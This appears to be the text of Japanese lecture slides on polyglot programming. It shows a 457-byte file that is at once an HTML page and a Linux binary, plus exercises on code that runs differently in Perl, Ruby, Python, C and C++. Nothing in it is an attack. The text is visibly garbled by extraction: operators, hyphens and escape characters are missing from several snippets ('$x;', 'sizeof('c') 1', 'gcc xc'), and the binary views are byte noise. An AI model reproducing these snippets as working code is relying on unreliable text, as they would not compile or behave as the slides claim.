0x457.html Itʼs universal binary. (1) Mac OS X Safari 3 (2) Windows IE7 (3) Linux x86 ELF Binary (4) other OS VT100 Obfuscated Polyglot Golf Only 457 byte

(1) Safari 3 - Mac OS X

(2) IE 7 - Windows

(3) Linux x86 ELF

(4) VT100 for other OS

0x457.html ASCII view ELF ^a LZ``<!-- 1ÛÍ. ¹ GCWÍ ëó --><meta http-equiv=content-type content='text/html;charset=cp037'/> <h1>it works on Safari3, IE7</h1>``nLˆñnÈ @ ZLaˆñnL @ ~ÄnL ƒ @ ƒ~{@ƒˆ ~ƒ ðó nla ƒ nlz`` a ~òð^ ~õ^ ~ð^ É M} ~ ^ ~ Ô ˆK M ]^ ~ nðo ð z ñ ^ M ~ñ^ L N^ NN]À M ~ñ^ L N^ N~ðKõ]À N~M ` ] M `]NM `] M `]L o z @ ^Ð N~ L n Ð N~ðKñ^ÄK ÈãÔÓ~ }kòð] aa[2j [5m/. Happy Binary! /. [0m

0x457.html EBCDIC view "á<ă";/*<!-- űňř žý ýĺ äýďňřlôl _ÁČ/ÇČČřÁÉÍŃÎä?>ČÁ>Čč`řÁÄ?>Č Á>ČČÁĚČ ÇČ_% ÄÇ/ĘËÁČ Äř ÇńČĎ?Ę,Ë?>ë/Ă/ĘŃńá Ç --><h1>happy Binary!</h1><pre id=d> <script src=# charset=cp037></script> <!--*/ a=20;r=5;t=0;setinterval('s="";r=a*math.sin(t );z=r>0?"0":"1";for(y=1;y<a+a;y++){for(x=1;x< a+a;x+=0.5){s+=(x-a)*(x-a)+(y-a)*(y-a)<r*r?z: " ";}s+="<br>"}t+=0.1;d.innerhtml=s',20)

NASM is my HTML Editor.

第 3 部 完

Polyglot プログラミング 平 成 21 年 6/28( ) 演 習 問 題 配 布 資 料

練 習 問 題

(1) 真 偽 値 の 違 い $ vi 1.p print 0? "Ruby" : "Perl" ; $ perl 1.p Perl $ ruby 1.p Ruby

Ruby 1.8 1.9 の 仕 様 変 更 $ vi 1.r print"hello ",0???==63?"Ruby1.8":"Ruby1.9":"Perl","! n";?a で ASCIIコードの 数 値 を 返 す 仕 様 が 1.9 から 字 列 ʼaʼを 返 すようになった $ ruby1.8 1.r Hello Ruby1.8! $ ruby1.9 1.r Hello Ruby1.9!

(2) デクリメント 演 算 の 有 無 $ vi 2.p $x=1; $x; print $x==1? "Ruby" : "Perl"; $ perl 2.p Perl $ ruby 2.p Ruby

練 習 問 題

(3) 字 列 リテラル $ vi 3.p q='''=; print"perl"#';print"ruby"#''';print"python"; $ perl 3.p Perl $ ruby 3.p Ruby $ python 3.p Python

練 習 問 題

(4) C/C++ における sizeof(char) の 違 い $ vi a.cpp #include <stdio.h> int main() { printf("%s", sizeof('c')==1?"c++":"c"); } $ gcc xc a.cpp &&./a.out C $ g++ a.cpp &&./a.out C++

(5) C89/C99 の 違 い $ vi a.c #include <stdio.h> enum{a=0,b=1}; int main() { if(sizeof(enum{b=0,a=1})); printf("c%d n",a?89:99); } $ gcc xc std=iso9899:1990 a.c &&./a.out C89 $ gcc xc std=gnu99 a.c &&./a.out C99

応 用 問 題

(6) 5 語 Polyglot $ vi a.cpp #include/* q="""*/<stdio.h> int main() {putchar('c'); if(sizeof('c') 1); else {putchar('+'); putchar('+');}} /*=; print'perl'#";print'ruby'#""";print'python'#*/ $ perl a.cpp Perl $ ruby a.cpp Ruby $ python a.cpp Python $ gcc xc a.cpp &&./a.out C $ g++ a.cpp &&./a.out C++

(7) 課 題 $ vi a.c #include/* q="""*/<stdio.h> enum{q,p};int main(){if(sizeof(enum{p,q})); printf((char[]){67,37,100,13,10},q?89:99);}/*=; print'perl'#";print'ruby'#""";print'python'#*/ $ gcc xc std=iso9899:1990 a.c &&./a.out C89 $ gcc xc std=gnu99 a.c &&./a.out C99 このプログラムを C++ でコンパイルするとどうなるか? 実 際 に 試 してみて 結 果 を 考 察 せよ

(8) 宿 題 6つの 語 で 実 可 能 なPolyglotを 作 成 せよ 今 までのプログラムに1 語 追 加 しても 良 い ヒント Brainf*ck, Whitespace Haskell (--がコメント) C89/C90/C++ Ruby1.8/Ruby1.9 Perl4/Perl5/Perl6

模 範 解 答 ( 例 ) #define v [ #include <stdio.h>/* # # Perl / Ruby / Python / C++ / Brainfuck / Befunge Polyglot by shinichiro.h # # ]+++++5++++[>++++>>+++>>+>>+[+<+<+++<+++<++<++< [>>]<<]> ] # >>.>++5.>..+++.>>>.<.<<<<.>>+++.<.++++++++. # >.+ <.>>.<<.>.>>.<++..+++.<+.<+.>>>+. # [ ][ # >"!dlrow egnufeb,olleh">:#,_@ # s='''=*/ int main(){puts("hello, C++ world!");} /* =; print "Hello, Perl world! n"; <<s; ' puts "Hello, Ruby world!" <<s ''' print "Hello, Python world!" s s=''' ]'''#==#*/ http://shinh.skr.jp/dat_dir/poly_hello.txt

ご 清 聴 ありがとう ございました